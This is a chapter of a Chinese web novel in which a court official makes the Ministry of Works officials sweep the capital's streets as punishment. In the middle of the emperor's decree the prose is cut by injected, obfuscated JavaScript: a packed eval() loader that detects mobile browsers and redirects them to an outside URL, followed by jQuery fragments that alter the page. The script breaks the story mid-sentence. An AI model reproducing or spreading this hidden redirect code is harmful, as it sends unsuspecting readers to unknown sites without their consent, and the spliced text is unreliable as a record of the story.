方有德觉得手心像是被火燎过一样。


    那把扫帚的竹柄粗糙得很，毛刺扎在掌纹里，生疼。


    这双手，平日里握的是湖州进贡的狼毫，捧的是和田温润的白玉杯，何曾碰过这种下人用的东西。


    他有些恍惚，抬起头时，嘴唇不受控制地抖动着。


    那张平日里保养得宜、红光满面的脸，此刻大概已经白得像张纸了。


    “沈怨，士可杀，不可辱。”


    这句话几乎是从他牙缝里挤出来的，带着一股子穷途末路的嘶哑。


    “你这是在践踏大周的脸面，是在把朝廷命官的尊严踩在脚底下。”


    跪在他身后的工部官员们似乎也回过神来，原本压抑的骚动瞬间爆发。


    “我等是朝廷二品大员，读的是圣贤书，岂能做此贱役！”


    “沈侍郎，你这般折辱同僚，就不怕遭天谴吗！”


    “陛下！请陛下为臣等做主啊！”


    哭喊声、怒骂声混作一团，御书房前原本肃穆的广场，此刻嘈杂得像个早市。


    我没理会这些叫嚷。


    手里这把扫帚倒是扎实，我用竹枝的末梢轻轻敲打着手心。


    啪、啪。


    声音不大，但很有节奏。


    这单调的声响像是有种魔力，渐渐地，周围的叫骂声稀疏了下去。


    所有人的目光，不由自主地落在我身上。


    我看着方有德，眼神平静，就像在看一笔还没算清的烂账。


    “方大人，按照《吏部考功令》，工部官员每月的休沐，是几天？”


    方有德愣了一下。


    他显然没料到我会突然问这个，脑子一时没转过弯来。


    “按……按制，每月四天。”


    “那就是说，除了那四天，其余的日子，诸位都该在衙门里当值，处理公务，对么？”


    “这是自然。”


    方有德挺了挺胸膛，语气里带上了几分理直气壮。


    我点了点头。


    “那各位现在跪在这里，算是在当值，还是在休沐？”


    方有德的脸色僵住了。


    这就是个套。


    说是在当值，那这就是擅离职守，聚众闹事。


    说是在休沐，这几十号人同一天请假，意欲何为？逼宫吗？


    “我们……我们是来向陛下陈情的！”


    后面有个年轻些的官员大概是急了，忍不住喊了一嗓子。


    我不由得笑了。


    “陈情？陈情需要从大清早跪到晌午？”


    我掂了掂手里的扫帚，目光扫过那一张张涨红的脸。


    “我看各位大人中气十足，骂起人来比户部算盘珠子还脆生，想来身体是不错的。”


    “拿着朝廷的俸禄，占着朝廷的官位，却在当值的时辰，跑来宫门口发呆、叫骂。这就是你们工部所谓的‘陈情’？”


    “自己不干活，还不让别人干活。宫墙修缮的工程，你们不想接，还不许别人接。怎么，这大周的工程，离了你们工部，天就要塌了？”


    “我……”


    方有德张了张嘴，却发现自己竟找不到一句反驳的话。


    我把手里的扫帚往前一递，竹梢几乎要戳到他的鼻尖。


    “既然各位这么闲，有力气在这里跪着耗费光阴，那这过剩的精力，不如用在实处。”


    我的视线越过他们，投向远处巍峨的宫门，以及宫门外那片更广阔的天地。


    “方大人刚才说得对，这里是御书房前，是天子脚下，让你们在这里打扫，确实有些不妥。”


    人群里，有几个人脸上露出了一丝松动的神色。


    他们大概以为我终于要退让了。


    方有德也下意识地松了口那口气。


    可惜，这口气松得太早了。


    “这宫里的地，金贵。你们还不配扫。”


    我收回扫帚，转身面向御书房，躬身行礼。


    “陛下，臣以为，工部诸位大人心忧国事，只是方法不当。他们既有此为国为民之心，不如就让他们去做些真正对百姓有益的事情。”


    御书房的门，吱呀一声开了。


    萧策负手站在门口。


    他其实一直都在里面。


    看着底下跪着的黑压压一片，又看了看站在一旁的我，他的眼神有些玩味。


    原本对于这群只会抱团要挟的臣子，他是有些恼火的。


    但听了刚才那番话，那股火气，似乎变成了一种看戏的兴致。


    脸面？


    对于现在的萧策来说，能干活、能充盈国库、能听话的臣子，才是好臣子。


    至于这群人的脸面，值几个钱？


    “沈爱卿，你有何高见？”


    萧策的声音很稳，听不出喜怒。


    我直起身子，声音清亮。


    “回陛下，京城六街三市，近来颇多尘土。百姓往来，车马喧嚣，确实有碍观瞻。臣恳请陛下下旨，命工部全体官员，即日起，负责清扫京城主干道。”


    “每日卯时上街，酉时收工。由五城兵马司负责监督考勤。”


    “此事，既能美化京畿，又能让诸位大人体会民间疾苦，砥砺心志。正所谓‘爱民如子’，便从为民扫街做起。此乃大善！”


    空气仿佛在那一瞬间凝固了。


    如果说，刚才让他们扫御书房前是羞辱。


    那么，让他们去扫大街，就是把他们的官皮扒下来，扔在地上，再让全京城的百姓一人踩上一脚。


    方有德身子晃了晃。


    他没晕过去，只是腿软得站不住，整个人直挺挺地往后倒去。


    “大人！大人！”


    旁边的人手忙脚乱地扶住他。


    方有德喘着粗气，手指哆嗦着指着我，喉咙里发出“嗬嗬”的声音，像个拉坏了的风箱。


    “你……你这是……这是要逼死我们！”


    萧策的嘴角，似乎勾起了一个极浅的弧度。


    这主意，确实比廷杖、下狱都要高明。


    这不仅仅是惩罚，更是一种宣告。


    宣告皇权对士大夫尊严的绝对碾压。


    “准了。”


    两个字，轻飘飘地落下，却重若千钧。


    “工部官员，体恤上意，心怀万民，主动请缨，为京城百姓清扫街道，朕心甚慰。”


    萧策看着底下那一张张如丧考妣的脸，语气里甚至带上了一丝嘉许。


    “此事，就这么定了。工部即日起开始扫街，何时宫墙修缮完毕，何时再


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329901|197673||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回衙门当值。”


    “另，此事当为百官表率，着《京报》刊载，晓谕全城。”


    说完，萧策转身回了御书房。


    殿门“砰”的一声关上。


    这一声响，彻底断绝了所有人的念想。


    完了。


    方有德瘫坐在地上，眼神空洞。


    他很清楚，从今天起，工部，将成为整个大周最大的笑话。


    ……


    半个时辰后。


    一队太监捧着明黄的圣旨，来到了工部官员们的面前。


    跟在他们身后的，是户部的吏员和几十名内廷卫。


    他们手里捧着的，不是官服，也不是文书。


    而是一人一把崭新的大扫帚，和一件用来罩在官袍外面的粗布罩衣。


    “方大人，接旨吧。”


    为首的太监皮笑肉不笑地展开圣旨。


    方有德和一众官员，只能麻木地跪下。


    旨意宣读完毕，户部的吏员便开始分发工具。


    “各位大人，请吧。”


    张三站在一旁，手里拿着个名册，像个监工头子。


    “这是沈大人特意为大家准备的，罩衣宽大，不会弄脏了官袍。大家领了自己的扫帚，就在我这里画个押，待会儿好统一出发，前往朱雀大街。”


    工部的官员们，一个个面如死灰，动作僵硬地接过那些东西。


    一个须发皆白的老侍郎，接过扫帚时，手抖得厉害，浑浊的老泪顺着脸上的褶子淌了下来。


    “有辱斯文……有辱斯文啊……”


    张三走到他面前，面无表情。


    “老大人，沈大人有句话让属下转告各位。”


    “沈大人说，斯文不能让边关的将士吃饱饭，也不能让倒塌的宫墙自己长起来。”


    “各位大人与其在这里伤春悲秋，不如多用点力气，兴许还能在天黑前，把朱雀大街扫干净。”


    说完，张三不再理会他们，对着不远处的内廷卫一挥手。


    “时辰不早了，送各位大人……上工。”


    内廷卫上前一步，手中的绣春刀刀鞘，在官员们身后的青石板上轻轻磕了磕。


    那声音不大，却像是一道催命符。


    方有德被人从地上架起来，手里被硬塞了一把扫帚。


    他茫然地看着前方。


    那是朱雀大街的方向，人来人往，热闹非凡。


    他知道，从他踏出这宫门的第一步起，他，和整个工部，就将成为那片喧闹中，最刺眼、最滑稽的风景。


    他踉踉跄跄地往前走，身后跟着一群失魂落魄的同僚。


    远远看去，像是一队被押送着去游街的囚犯。


    我站在远处的高台上，看着这一幕。


    张三来到我身边，递过来一张纸。


    “大人，工部所有在京官员，共计七十三人，工具已全部分发完毕，无一遗漏。”


    我接过那张画满了押的名单，点了点头。


    “告诉《京报》的人，文章的标题我已经想好了。”


    看着那支奇特的“扫街队伍”逐渐汇入人流，引来无数百姓惊奇的围观，我将名单折好，放入袖中。


    “就叫——《爱民新风尚：工部大人们在扫街》。”